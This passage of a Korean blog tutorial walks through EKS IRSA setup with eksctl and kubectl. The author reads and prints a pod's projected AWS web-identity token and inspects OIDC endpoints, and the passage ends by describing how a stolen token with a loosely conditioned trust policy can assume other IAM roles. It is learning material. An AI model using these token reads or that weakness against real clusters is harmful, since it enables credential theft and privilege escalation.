&lt;li&gt;Webhook이 새 토큰을 파드에 삽입하기 위해 새로운 쿠버네티스 Service Account를 생성하고 Service Account에 AWS IAM 역할 ARN Annotation을 추가한 다음 쿠버네티스 파드에서 이 새로운 쿠버네티스 Service Account를 참조합니다. eksctl 도구를 사용하면 몇 가지 단계를 자동화할 수 있지만 모든 단계를 수동으로 수행할 수도 있습니다.&lt;/li&gt;
&lt;li&gt;&quot;eksctl create iamserviceaccount&quot; 명령이 생성하는 것:
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;쿠버네티스&amp;nbsp;&lt;b&gt;Service Account&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;지정된 정책이 있는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;IAM role&lt;/b&gt;&amp;nbsp;&lt;/li&gt;
&lt;li&gt;해당 IAM role에 대한 신뢰 정책&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;704&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/D9Nxz/btsGw1krX7X/ujraQzraAuaH65pxVQU2MK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/D9Nxz/btsGw1krX7X/ujraQzraAuaH65pxVQU2MK/img.png&quot; data-alt=&quot;https://sharing-for-us.tistory.com/40&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/D9Nxz/btsGw1krX7X/ujraQzraAuaH65pxVQU2MK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FD9Nxz%2FbtsGw1krX7X%2FujraQzraAuaH65pxVQU2MK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;704&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;704&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://sharing-for-us.tistory.com/40&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;생성된 IAM 역할 ARN으로 쿠버네티스 Service Account에 Annotation을 추가합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1712848993914&quot; class=&quot;routeros&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# Create an iamserviceaccount - AWS IAM role bound to a Kubernetes service account
eksctl create iamserviceaccount \
  --name my-sa \
  --namespace default \
  --cluster $CLUSTER_NAME \
  --approve \
  --attach-policy-arn $(aws iam list-policies --query 'Policies[?PolicyName==`AmazonS3ReadOnlyAccess`].Arn' --output text)

# 확인 &amp;gt;&amp;gt; 웹 관리 콘솔에서 CloudFormation Stack &amp;gt;&amp;gt; IAM Role 확인
# aws-load-balancer-controller IRSA는 어떤 동작을 수행할 것 인지 생각해보자!
eksctl get iamserviceaccount --cluster $CLUSTER_NAME

# Inspecting the newly created Kubernetes Service Account, we can see the role we want it to assume in our pod.
kubectl get sa
kubectl describe sa my-sa
Name:                my-sa
Namespace:           default
Labels:              app.kubernetes.io/managed-by=eksctl
Annotations:         eks.amazonaws.com/role-arn: arn:aws:iam::911283464785:role/eksctl-myeks-addon-iamserviceaccount-default-Role1-1MJUYW59O6QGH
Image pull secrets:  &amp;lt;none&amp;gt;
Mountable secrets:   &amp;lt;none&amp;gt;
Tokens:              &amp;lt;none&amp;gt;
Events:              &amp;lt;none&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-11 오후 11.39.33.png&quot; data-origin-width=&quot;2602&quot; data-origin-height=&quot;444&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Jxwx5/btsGxA1cou7/PEaABAoK1XWekBO3QcAoYK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Jxwx5/btsGxA1cou7/PEaABAoK1XWekBO3QcAoYK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Jxwx5/btsGxA1cou7/PEaABAoK1XWekBO3QcAoYK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJxwx5%2FbtsGxA1cou7%2FPEaABAoK1XWekBO3QcAoYK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2602&quot; height=&quot;444&quot; data-filename=&quot;스크린샷 2024-04-11 오후 11.39.33.png&quot; data-origin-width=&quot;2602&quot; data-origin-height=&quot;444&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-11 오후 11.40.50.png&quot; data-origin-width=&quot;2032&quot; data-origin-height=&quot;302&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tbG9E/btsGw3vJIIc/zWyIH9CTsFKLubQ8kqG0T0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tbG9E/btsGw3vJIIc/zWyIH9CTsFKLubQ8kqG0T0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tbG9E/btsGw3vJIIc/zWyIH9CTsFKLubQ8kqG0T0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtbG9E%2FbtsGw3vJIIc%2FzWyIH9CTsFKLubQ8kqG0T0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2032&quot; height=&quot;302&quot; data-filename=&quot;스크린샷 2024-04-11 오후 11.40.50.png&quot; data-origin-width=&quot;2032&quot; data-origin-height=&quot;302&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;AWS Management Console 내에서 해당 IAM 역할은 iamserviceaccount를 검색합니다. &amp;rArr;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;IAM 역할 확인&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;신뢰 관계 탭을 선택하면 'sts:AssumeRoleWithWebIdentity' Action을 사용하여 ID 'system:serviceaccount:default:my-sa'가 역할을 맡도록 허용하는 것을 볼 수 있습니다. 이 정책의 주체는 OIDC 제공업체입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-11 오후 11.45.30.png&quot; data-origin-width=&quot;2568&quot; data-origin-height=&quot;854&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8jvPF/btsGwR22lgw/WNtihHAjkTIVAwvOtrEFE1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8jvPF/btsGwR22lgw/WNtihHAjkTIVAwvOtrEFE1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8jvPF/btsGwR22lgw/WNtihHAjkTIVAwvOtrEFE1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8jvPF%2FbtsGwR22lgw%2FWNtihHAjkTIVAwvOtrEFE1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2568&quot; height=&quot;854&quot; data-filename=&quot;스크린샷 2024-04-11 오후 11.45.30.png&quot; data-origin-width=&quot;2568&quot; data-origin-height=&quot;854&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;해당 Service Account를 가진 신규 파드 만들어 봅니다. 앞서 iamserviceaccount를 생성할 때 ARN에 S3ReadOnly 권한만을 추가하여  S3이외에는 조회할 수 없습니다.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1712848993915&quot; class=&quot;yaml&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 파드3번 생성
cat &amp;lt;&amp;lt;EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: eks-iam-test3
spec:
  serviceAccountName: my-sa
  containers:
    - name: my-aws-cli
      image: amazon/aws-cli:latest
      command: ['sleep', '36000']
  restartPolicy: Never
  terminationGracePeriodSeconds: 0
EOF

# 해당 SA를 파드가 사용 시 mutatingwebhook으로 Env,Volume 추가함
kubectl get mutatingwebhookconfigurations pod-identity-webhook -o yaml | kubectl neat | yh

# 파드 생성 yaml에 없던 내용이 추가됨!!!!!
# Pod Identity Webhook은 mutating webhook을 통해 아래 Env 내용과 1개의 볼륨을 추가함
kubectl get pod eks-iam-test3
kubectl get pod eks-iam-test3 -o yaml | kubectl neat | yh
...
    volumeMounts: 
    - mountPath: /var/run/secrets/eks.amazonaws.com/serviceaccount
      name: aws-iam-token
      readOnly: true
  ...
  volumes: 
  - name: aws-iam-token
    projected: 
      sources: 
      - serviceAccountToken: 
          audience: sts.amazonaws.com
          expirationSeconds: 86400
          path: token
...

kubectl exec -it eks-iam-test3 -- ls /var/run/secrets/eks.amazonaws.com/serviceaccount
token

kubectl exec -it eks-iam-test3 -- cat /var/run/secrets/eks.amazonaws.com/serviceaccount/token ; echo
...

kubectl describe pod eks-iam-test3
...
Environment:
      AWS_STS_REGIONAL_ENDPOINTS:   regional
      AWS_DEFAULT_REGION:           ap-northeast-2
      AWS_REGION:                   ap-northeast-2
      AWS_ROLE_ARN:                 arn:aws:iam::911283464785:role/eksctl-myeks-addon-iamserviceaccount-default-Role1-GE2DZKJYWCEN
      AWS_WEB_IDENTITY_TOKEN_FILE:  /var/run/secrets/eks.amazonaws.com/serviceaccount/token
    Mounts:
      /var/run/secrets/eks.amazonaws.com/serviceaccount from aws-iam-token (ro)
      /var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-69rh8 (ro)
...
Volumes:
  aws-iam-token:
    Type:                    Projected (a volume that contains injected data from multiple sources)
    TokenExpirationSeconds:  86400
  kube-api-access-sn467:
    Type:                    Projected (a volume that contains injected data from multiple sources)
    TokenExpirationSeconds:  3607
    ConfigMapName:           kube-root-ca.crt
    ConfigMapOptional:       &amp;lt;nil&amp;gt;
    DownwardAPI:             true
...

# 파드에서 aws cli 사용 확인
eksctl get iamserviceaccount --cluster $CLUSTER_NAME
kubectl exec -it eks-iam-test3 -- aws sts get-caller-identity --query Arn
&quot;arn:aws:sts::911283464785:assumed-role/eksctl-myeks-addon-iamserviceaccount-default-Role1-GE2DZKJYWCEN/botocore-session-1685179271&quot;

# 되는 것고 안되는 것은 왜그런가?
kubectl exec -it eks-iam-test3 -- aws s3 ls
kubectl exec -it eks-iam-test3 -- aws ec2 describe-instances --region ap-northeast-2
kubectl exec -it eks-iam-test3 -- aws ec2 describe-vpcs --region ap-northeast-2&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-11 오후 11.55.30.png&quot; data-origin-width=&quot;2078&quot; data-origin-height=&quot;546&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qTozk/btsGwM15yLY/ZGZsywFQ2VtGKLHrUnKcfk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qTozk/btsGwM15yLY/ZGZsywFQ2VtGKLHrUnKcfk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qTozk/btsGwM15yLY/ZGZsywFQ2VtGKLHrUnKcfk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqTozk%2FbtsGwM15yLY%2FZGZsywFQ2VtGKLHrUnKcfk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2078&quot; height=&quot;546&quot; data-filename=&quot;스크린샷 2024-04-11 오후 11.55.30.png&quot; data-origin-width=&quot;2078&quot; data-origin-height=&quot;546&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://ap-northeast-2.console.aws.amazon.com/cloudtrail/home?region=ap-northeast-2#/events?EventName=AssumeRoleWithWebIdentity&quot;&gt;https://ap-northeast-2.console.aws.amazon.com/cloudtrail/home?region=ap-northeast-2#/events?EventName=AssumeRoleWithWebIdentity&lt;/a&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;에서 새로운 ServiceAccount로 접근하는 것을 확인할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-11 오후 11.58.13.png&quot; data-origin-width=&quot;2648&quot; data-origin-height=&quot;766&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cBMgW0/btsGwveSNyH/LO5AnVAVYDIbOqaxwKNuZk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cBMgW0/btsGwveSNyH/LO5AnVAVYDIbOqaxwKNuZk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cBMgW0/btsGwveSNyH/LO5AnVAVYDIbOqaxwKNuZk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcBMgW0%2FbtsGwveSNyH%2FLO5AnVAVYDIbOqaxwKNuZk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2648&quot; height=&quot;766&quot; data-filename=&quot;스크린샷 2024-04-11 오후 11.58.13.png&quot; data-origin-width=&quot;2648&quot; data-origin-height=&quot;766&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;kubectl과 jq를 사용하여 파드를 검사하면 두 개의 볼륨이 마운트된 것을 볼 수 있습니다. 두 번째 Webhook은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;color: #000000;&quot; href=&quot;https://github.com/aws/amazon-eks-pod-identity-webhook&quot; data-token-index=&quot;0&quot;&gt;&lt;span&gt;mutating webhook&lt;/span&gt;&lt;/a&gt;을 통해 마운트되었습니다.&lt;/li&gt;
&lt;li&gt;aws-iam-token은&amp;nbsp;여전히&amp;nbsp;Kubernetes&amp;nbsp;API&amp;nbsp;서버에서&amp;nbsp;생성되고&amp;nbsp;있지만&amp;nbsp;새로운&amp;nbsp;OIDC&amp;nbsp;JWT&amp;nbsp;대상이&amp;nbsp;있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1712848993917&quot; class=&quot;vala&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 파드에 볼륨 마운트 2개 확인
kubectl get pod eks-iam-test3 -o json | jq -r '.spec.containers | .[].volumeMounts'
[
  {
    &quot;mountPath&quot;: &quot;/var/run/secrets/kubernetes.io/serviceaccount&quot;,
    &quot;name&quot;: &quot;kube-api-access-sn467&quot;,
    &quot;readOnly&quot;: true
  },
  {
    &quot;mountPath&quot;: &quot;/var/run/secrets/eks.amazonaws.com/serviceaccount&quot;,
    &quot;name&quot;: &quot;aws-iam-token&quot;,
    &quot;readOnly&quot;: true
  }
]

# aws-iam-token 볼륨 정보 확인 : JWT 토큰이 담겨져있고, exp, aud 속성이 추가되어 있음
kubectl get pod eks-iam-test3 -o json | jq -r '.spec.volumes[] | select(.name==&quot;aws-iam-token&quot;)'
{
  &quot;name&quot;: &quot;aws-iam-token&quot;,
  &quot;projected&quot;: {
    &quot;defaultMode&quot;: 420,
    &quot;sources&quot;: [
      {
        &quot;serviceAccountToken&quot;: {
          &quot;audience&quot;: &quot;sts.amazonaws.com&quot;,
          &quot;expirationSeconds&quot;: 86400,
          &quot;path&quot;: &quot;token&quot;
        }
      }
    ]
  }
}

# api 리소스 확인
kubectl api-resources |grep hook
mutatingwebhookconfigurations                  admissionregistration.k8s.io/v1        false        MutatingWebhookConfiguration
validatingwebhookconfigurations                admissionregistration.k8s.io/v1        false        ValidatingWebhookConfiguration

#
kubectl explain mutatingwebhookconfigurations

#
kubectl get MutatingWebhookConfiguration
NAME                            WEBHOOKS   AGE
pod-identity-webhook            1          147m
vpc-resource-mutating-webhook   1          147m

# pod-identity-webhook 확인
kubectl describe MutatingWebhookConfiguration pod-identity-webhook 
kubectl get MutatingWebhookConfiguration pod-identity-webhook -o yaml | yh&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;실행 중인 파드 에 접속하여 토큰을 검사하면 이전 SA 토큰과 약간 다른 모습을 확인할 수 있습니다.&lt;/li&gt;
&lt;li&gt;이 토큰의 대상 독자는 이제 'sts.amazonaws.com'이고, 이 토큰을 생성하고 서명한 발행자는 여전히 OIDC 공급자이며, 24시간으로 토큰 만료가 얼마 남지 않았음을 알 수 있습니다.&lt;/li&gt;
&lt;li&gt;파드 정의 또는 Service Account 정의에서 'eks.amazonaws.com/token-expiration'  Annotation을 사용하여 Service Account의 만료 기간을 수정할 수 있습니다.&lt;/li&gt;
&lt;li&gt; MutationgWebhook은 파드에 추가 토큰을 마운트하고 환경 변수를 주입합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1712848993919&quot; class=&quot;routeros&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# AWS_WEB_IDENTITY_TOKEN_FILE 확인
IAM_TOKEN=$(kubectl exec -it eks-iam-test3 -- cat /var/run/secrets/eks.amazonaws.com/serviceaccount/token)
echo $IAM_TOKEN

# JWT 웹 확인 
{
  &quot;aud&quot;: [
    &quot;sts.amazonaws.com&quot;
  ],
  &quot;exp&quot;: 1685175662,
  &quot;iat&quot;: 1685089262,
  &quot;iss&quot;: &quot;https://oidc.eks.ap-northeast-2.amazonaws.com/id/F6A7523462E8E6CDADEE5D41DF2E71F6&quot;,
  &quot;kubernetes.io&quot;: {
    &quot;namespace&quot;: &quot;default&quot;,
    &quot;pod&quot;: {
      &quot;name&quot;: &quot;eks-iam-test3&quot;,
      &quot;uid&quot;: &quot;73f66936-4d66-477a-b32b-853f7a1c22d9&quot;
    },
    &quot;serviceaccount&quot;: {
      &quot;name&quot;: &quot;my-sa&quot;,
      &quot;uid&quot;: &quot;3b31aa85-2718-45ed-8c1c-75ed012c1a68&quot;
    }
  },
  &quot;nbf&quot;: 1685089262,
  &quot;sub&quot;: &quot;system:serviceaccount:default:my-sa&quot;
}

# env 변수 확인
kubectl get pod eks-iam-test3 -o json | jq -r '.spec.containers | .[].env'
[
  {
    &quot;name&quot;: &quot;AWS_STS_REGIONAL_ENDPOINTS&quot;,
    &quot;value&quot;: &quot;regional&quot;
  },
  {
    &quot;name&quot;: &quot;AWS_DEFAULT_REGION&quot;,
    &quot;value&quot;: &quot;ap-northeast-2&quot;
  },
  {
    &quot;name&quot;: &quot;AWS_REGION&quot;,
    &quot;value&quot;: &quot;ap-northeast-2&quot;
  },
  {
    &quot;name&quot;: &quot;AWS_ROLE_ARN&quot;,
    &quot;value&quot;: &quot;arn:aws:iam::911283464785:role/eksctl-myeks-addon-iamserviceaccount-default-Role1-1MJUYW59O6QGH&quot;
  },
  {
    &quot;name&quot;: &quot;AWS_WEB_IDENTITY_TOKEN_FILE&quot;,
    &quot;value&quot;: &quot;/var/run/secrets/eks.amazonaws.com/serviceaccount/token&quot;
  }
]&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;워크로드에 IAM으로 인증을 시도하는 데 사용할 수 있는 토큰이 있으므로 다음은 AWS IAM이 해당 토큰을 신뢰하도록 하는 것입니다. AWS IAM은&amp;nbsp;&lt;a style=&quot;color: #000000;&quot; href=&quot;https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_create_oidc.html&quot; data-token-index=&quot;1&quot;&gt;&lt;span&gt;federated identities using OIDC identity providers&lt;/span&gt;&lt;/a&gt;을 지원합니다.&lt;/li&gt;
&lt;li&gt;IAM이 유효한 OIDC JWT를 수신한 후 지원되는 자격 증명 공급자를 통해 AWS API 호출을 인증할 수 있습니다. 이후 토큰을 AWS STS 'AssumeRoleWithWebIdentity' API 작업에 전달하여 임시 IAM 자격 증명을 얻을 수 있습니다.&lt;/li&gt;
&lt;li&gt;워크로드에 있는 OIDC JWT 토큰은 암호화 방식으로 서명되며, IAM은 AWS STS 'AssumeRoleWithWebIdentity' API 작업이 임시 자격 증명을 보낼 수 있기 전에 이러한 토큰을 신뢰하고 검증해야 합니다.&lt;/li&gt;
&lt;li&gt;쿠버네티스의 &amp;nbsp;&lt;a style=&quot;color: #000000;&quot; href=&quot;https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#service-account-issuer-discovery&quot; data-token-index=&quot;1&quot;&gt;&lt;span&gt;Service Account Issuer Discovery&lt;/span&gt;&lt;/a&gt;의 일부로 EKS는 공개 OpenID 공급자 구성 문서(검색 엔드포인트)와 토큰 서명을 검증하기 위한 공개 키(&lt;span data-token-index=&quot;0&quot;&gt;JSON Web Key Sets&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;ndash;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span data-token-index=&quot;2&quot;&gt;JWKS&lt;/span&gt;)를&lt;span&gt;&amp;nbsp;&lt;/span&gt;https://OIDC_PROVIDER_URL/.well-known/openid-configuration에서 호스팅합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1712848993923&quot; class=&quot;routeros&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# Let&amp;rsquo;s take a look at this endpoint. We can use the aws eks describe-cluster command to get the OIDC Provider URL.
IDP=$(aws eks describe-cluster --name myeks --query cluster.identity.oidc.issuer --output text)

# Reach the Discovery Endpoint
curl -s $IDP/.well-known/openid-configuration | jq -r '.'

# In the above output, you can see the jwks (JSON Web Key set) field, which contains the set of keys containing the public keys used to verify JWT (JSON Web Token). 
# Refer to the documentation to get details about the JWKS properties.
curl -s $IDP/keys | jq -r '.'&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;IRSA를 가장 취약하게 사용하는 방법&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;: 정보 탈취 시 키/토큰 발급 악용 가능&lt;/li&gt;
&lt;li&gt;&lt;b&gt;AWS는 JWT 토큰의 유효성만 확인하고&lt;/b&gt;&amp;nbsp;&lt;b&gt;토큰 파일과 서비스 계정에 지정된 실제 역할 간의 일관성을 보장하지는 않습니다. 따라서Condition을 잘못 설정할 시 토큰과 역할 ARN만 있다면 동일 토큰으로 다른 역할을 맡을 수 있습니다.&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1047&quot; data-origin-height=&quot;1673&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJ9TYz/btsGx39JOVN/1b3OcK5cK26KcnEms7CKh1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJ9TYz/btsGx39JOVN/1b3OcK5cK26KcnEms7CKh1/img.png&quot; data-alt=&quot;https://github.com/awskrug/security-group/blob/main/files/AWSKRUG_2024_02_EKS_ROLE_MANAGEMENT.pdf&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJ9TYz/btsGx39JOVN/1b3OcK5cK26KcnEms7CKh1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJ9TYz%2FbtsGx39JOVN%2F1b3OcK5cK26KcnEms7CKh1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1047&quot; height=&quot;1673&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1047&quot; data-origin-height=&quot;1673&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://github.com/awskrug/security-group/blob/main/files/AWSKRUG_2024_02_EKS_ROLE_MANAGEMENT.pdf&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;874&quot; data-origin-height=&quot;263&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bLS4bn/btsGzoFjUG4/mbWOsnbKeAdSRG1pcRt410/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bLS4bn/btsGzoFjUG4/mbWOsnbKeAdSRG1pcRt410/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bLS4bn/btsGzoFjUG4/mbWOsnbKeAdSRG1pcRt410/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbLS4bn%2FbtsGzoFjUG4%2FmbWOsnbKeAdSRG1pcRt410%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;874&quot; height=&quot;263&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;874&quot; data-origin-height=&quot;263&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
